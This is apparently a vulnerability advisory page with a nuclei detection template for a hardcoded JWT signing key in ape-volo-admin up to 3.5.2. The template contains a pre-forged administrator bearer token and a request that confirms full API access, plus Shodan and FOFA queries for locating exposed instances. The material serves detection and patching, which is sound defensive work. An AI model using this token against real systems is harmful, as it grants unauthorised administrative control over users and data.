ape-volo-admin <= 3.5.2 - Authentication Bypass via Hardcoded JWT Signing Key

criticalseverity

9.8CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

ape-volo-admin < 3.6.1 contains an authentication bypass caused by a hardcoded JWT signing key in appsettings.json, letting unauthenticated attackers forge administrator tokens and gain full API control, exploit requires knowledge of the hardcoded key.

Impact

Unauthenticated attackers can forge admin tokens to fully control users, roles, permissions, and data via the API.

Fix

Upgrade to version 3.6.1 or later.

How to confirm it

Send: GET /user/query?pageSize=1&pageIndex=1
Positive when: status 200 AND contains "\"content\":[" and "\"totalElements\":" and "\"totalPages\":"

Run it with nuclei: nuclei -id CVE-2026-120442 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-120442

info:
  name: ape-volo-admin <= 3.5.2 - Authentication Bypass via Hardcoded JWT Signing Key
  author: maulanawirawan
  severity: critical
  description: |
    ape-volo-admin < 3.6.1 contains an authentication bypass caused by a hardcoded JWT signing key in appsettings.json, letting unauthenticated attackers forge administrator tokens and gain full API control, exploit requires knowledge of the hardcoded key.
  impact: |
    Unauthenticated attackers can forge admin tokens to fully control users, roles, permissions, and data via the API.
  remediation: |
    Upgrade to version 3.6.1 or later.
  reference:
    - https://github.com/xianhc/ape-volo-admin/issues/36
    - https://github.com/xianhc/ape-volo-admin/commit/938f7ec58047f0c63123dc155d6a033910f00933
    - https://github.com/xianhc/ape-volo-admin/releases/tag/V3.6.1
    - https://hackmd.io/@hieuPenguinnn/ape-volo-admin-hardcoded-jwt-secret-admin-token-forgery
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-120442
    epss-score: 0.01707
    epss-percentile: 0.77507
    cwe-id: CWE-1394
  metadata:
    max-request: 1
    vendor: xianhc
    product: ape-volo-admin
    shodan-query: http.html:"ape-volo-admin" http.html:"中后台管理权限框架"
    fofa-query: body="ape-volo-admin" && body="中后台管理权限框架"
  tags: cve,cve2026,ape-volo,unauth,hardcoded-secret,auth-bypass,jwt

http:
  - raw:
      - |
        GET /user/query?pageSize=1&pageIndex=1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiIxNjM1MTk0Mjc3NjQzMDAiLCJuYW1lIjoiYXBldm9sbyIsImlzcyI6Imh0dHA6Ly9sb2NhbGhvc3QiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0IiwiZXhwIjo0MTAyNDQ0ODAwfQ.rfsKys0b89YTIqdn_eCUg02ipOy6JmHUrd2zajzrAtw

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"content":['
          - '"totalElements":'
          - '"totalPages":'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from